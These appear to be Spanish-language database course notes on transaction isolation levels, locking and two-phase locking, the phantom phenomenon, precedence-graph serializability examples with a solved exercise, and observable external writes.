La serializabilidad completa es ideal pero puede ser costosa (requiere muchos bloqueos que reducen la concurrencia). SQL permite niveles más débiles de aislamiento, aceptando algunas anomalías a cambio de mejor rendimiento:

Nivel de Aislamiento	Lee datos no confirmados	Lecturas repetibles	Sin fantasmas
Lectura no comprometida (Uncommitted Read)	SÍ (más permisivo)	NO	NO
Lectura comprometida (Committed Read)	NO	NO	NO
Lectura repetible (Repeatable Read)	NO	SÍ	NO
Serializable	NO	SÍ	SÍ

Anomalía	Cuándo ocurre	Nivel que la evita
Lectura sucia (Dirty Read)	T2 lee dato modificado por T1 que aún no hizo commit	Lectura comprometida o superior
Lectura no repetible	T2 lee el mismo dato dos veces y obtiene valores diferentes	Lectura repetible o superior
Fenómeno fantasma	T2 hace la misma consulta dos veces y obtiene filas nuevas	Serializable

NIVEL POR DEFECTO
La mayoría de los SGBD usan LECTURA COMPROMETIDA como nivel por defecto. Esto evita leer datos sucios pero permite las otras anomalías. Para la mayoría de las aplicaciones es suficiente. Si necesitas serializabilidad estricta, debes pedirlo explícitamente.

```
-- Cambiar el nivel de aislamiento en SQL:
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
-- o bien:
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
-- o bien:
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
-- o bien:
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
```

3.9 Implementación básica: Bloqueos

Visión general de los mecanismos de control de concurrencia

Los mecanismos de control de concurrencia garantizan que solo se generen planificaciones serializables. Los más importantes son:

- BLOQUEOS (Locking): Las transacciones solicitan bloqueos sobre los datos antes de acceder. Si el bloqueo es incompatible con otro existente, la transacción espera. Se verá en detalle en el Tema 4.
- MARCAS DE TIEMPO (Timestamps): A cada transacción se le asigna una marca de tiempo única. Si hay conflicto, se resuelve según las marcas (la transacción más antigua suele ganar).

- AISLAMIENTO DE INSTANTÁNEAS (Snapshot Isolation): Cada transacción trabaja sobre una 'foto' de la base de datos en el momento en que empezó. Se verá en el Tema 4.

Bloqueo básico: compartido y exclusivo

Se usan dos tipos de bloqueos:

Tipo de bloqueo	Símbolo	Para qué operación	Compatible con
Compartido (Shared)	C o S	Lectura	Otros bloqueos compartidos
Exclusivo (Exclusive)	X	Escritura (y lectura)	Ningún otro bloqueo

Protocolo de Bloqueo en Dos Fases (2PL): Garantiza la serializabilidad. Se divide en:

- Fase de crecimiento: la transacción SOLO puede adquirir bloqueos (no liberar ninguno)
- Fase de decrecimiento: la transacción SOLO puede liberar bloqueos (no adquirir nuevos)

Una vez que una transacción libera su primer bloqueo, está en la fase de decrecimiento y ya no puede solicitar más bloqueos. Esto garantiza la serializabilidad pero puede causar deadlocks (interbloqueos).

3.10 El Fenómeno Fantasma

El fenómeno fantasma ocurre cuando una consulta de predicado (con WHERE) devuelve resultados diferentes en dos ejecuciones dentro de la misma transacción, porque otra transacción insertó o eliminó filas que cumplen la condición.

```
-- T1: Cuenta instructores de Física
SELECT count(*) FROM instructor WHERE nombre_dept = 'Física';
-- Resultado: 5

-- Mientras tanto, T2 inserta un nuevo instructor de Física y hace commit

-- T1 vuelve a hacer la misma consulta:
SELECT count(*) FROM instructor WHERE nombre_dept = 'Física';
-- Resultado: 6  ← ¡FANTASMA! La nueva fila apareció de la nada
```

Lo curioso del fenómeno fantasma es que T1 y T2 no acceden a las MISMAS FILAS (el instructor nuevo no existía cuando T1 ejecutó), pero aun así hay conflicto porque la INFORMACIÓN PARA ENCONTRAR LAS FILAS cambió.

Para prevenirlo hay que bloquear no solo las tuplas, sino también las estructuras de acceso (índices). El protocolo de bloqueo de índices convierte los conflictos fantasma en conflictos reales de bloqueo sobre nodos hoja del árbol B+.

3.11 Resumen del Tema 3

Concepto	Definición resumida
Transacción	Unidad lógica de trabajo: todo o nada
ACID	Atomicidad, Consistencia, Aislamiento, Durabilidad
Atomicidad	Si falla algo, se deshace todo (rollback)
Consistencia	La BD pasa de un estado consistente a otro (responsabilidad del programador)
Aislamiento	Las transacciones no ven los estados intermedios de otras
Durabilidad	Un commit es permanente aunque el sistema falle
Planificación	Orden cronológico de ejecución de instrucciones de múltiples transacciones
Serializable	Equivalente a alguna ejecución secuencial → correcta
Grafo de precedencia	Detecta serializabilidad: sin ciclos = serializable
Planificación recuperable	Si T2 leyó de T1, T1 hace commit antes que T2
Sin cascada	T2 solo lee datos ya confirmados → evita rollback en cascada
Niveles de aislamiento	READ UNCOMMITTED < READ COMMITTED < REPEATABLE READ < SERIALIZABLE
Fenómeno fantasma	Aparecen/desaparecen filas al repetir consulta de predicado

3.12 Las Planificaciones del Libro — Ejemplos Clave

El libro presenta varios ejemplos de planificaciones importantes que hay que conocer bien:

Planificación 1 — Secuencial T1 luego T2 (siempre correcta)

```
T1: leer(A)  A:=A-50  escribir(A)  leer(B)  B:=B+50  escribir(B)  commit
T2:                                                              leer(A)
temp:=A*0.1 ...
→ T2 espera a que T1 termine completamente. Resultado: correcto siempre.
→ Es una planificación SECUENCIAL. Su grafo de precedencia: ningún arco →
serializable.
```

Planificación 2 — Entrelazado correcto (serializable pero no secuencial)

```
T1: leer(A)  A:=A-50  escribir(A)                  leer(B)  B:=B+50  escribir(B)
T2:                           leer(A)  A:=A*0.9  escribir(A)

→ T2 ejecuta entre las operaciones de T1, pero el resultado es correcto
  porque T2 solo toca A y T1 ya terminó con A cuando T2 lo lee.
→ Grafo de precedencia: T1→T2 (T1 escribe A antes que T2 lo lea). Sin ciclo →
serializable.
```

```
→ Equivale a la planificación secuencial: T1, T2
```

Planificación 3 — NO serializable (ejemplo de resultado incorrecto)

```
T1: leer(A)  A:=A-50  escribir(A)            leer(B)  B:=B+50  escribir(B)
T2:                      leer(B)  B:=B+10  escribir(B)  leer(A)  A:=A-10
escribir(A)

Conflictos:
  • T1 escribe A [pos 3], T2 lee A [pos 6]: arco T1→T2
  • T2 escribe B [pos 4], T1 lee B [pos 5]: arco T2→T1  ← CONFLICTO INVERSO

Grafo: T1→T2 Y T2→T1 → HAY CICLO → NO es serializable → resultado potencialmente
INCORRECTO
```

EJERCICIO del Profesor: Construir Grafo y Determinar Serializabilidad

Planificación con T1, T2 y T3 sobre los datos A, B, C:
Tiempo 1: T1 leer(A)
Tiempo 2: T2 leer(B)
Tiempo 3: T3 leer(C)
Tiempo 4: T1 escribir(A)
Tiempo 5: T2 escribir(B)
Tiempo 6: T3 escribir(C)
Tiempo 7: T1 leer(B)
Tiempo 8: T2 leer(C)
Tiempo 9: T3 leer(A)
a) Identificar todos los conflictos. b) Construir grafo. c) ¿Serializable?

SOLUCIÓN:

a) CONFLICTOS (mismo dato, transacciones distintas, al menos una escribe):
- T2 escribe B [t=5], T1 lee B [t=7]: conflicto sobre B → arco T2→T1
- T3 escribe C [t=6], T2 lee C [t=8]: conflicto sobre C → arco T3→T2
- T1 escribe A [t=4], T3 lee A [t=9]: conflicto sobre A → arco T1→T3

b) GRAFO DE PRECEDENCIA:
T2 → T1 (por B)
T3 → T2 (por C)
T1 → T3 (por A)
Esto forma el ciclo: T1→T3→T2→T1

c) HAY CICLO en el grafo → La planificación NO es serializable.
Esta planificación puede producir resultados incorrectos.

NOTA: Si cualquier arco faltase, se podría dar un orden topológico correcto.
Con los 3 arcos que tenemos: no es posible ordenar T1, T2, T3 sin contradicción.

3.13 Escrituras Externas Observables

Las ESCRITURAS EXTERNAS OBSERVABLES son aquellas que producen una salida visible fuera del SGBD (mostrar datos por pantalla, enviar un email, imprimir un informe) y que el usuario ya ha visto.

- PROBLEMA: Una vez que el usuario ha VISTO la salida, no se puede 'desver'. Si la transacción luego hace rollback, la información ya fue enviada al exterior.
- EJEMPLO: T1 consulta el saldo, lo muestra al usuario (output externo) y luego falla. El usuario vio el saldo pero la transacción se aborta. ¿Qué saldo vio? ¿Era válido?
- SOLUCIÓN: Muchos sistemas guardan las escrituras externas en memoria no volátil y las envían al usuario solo cuando la transacción se CONFIRMA (commit). Si el sistema falla antes del commit, las envían al reiniciarse.

📌 **IMPLICACIÓN PARA EL AISLAMIENTO**
Las escrituras externas hacen que el aislamiento perfecto sea imposible en la práctica: si una transacción muestra datos al usuario y luego hace rollback, el usuario ya tiene información que 'no debería existir'. Los sistemas reales mitigan esto retrasando las salidas hasta después del commit.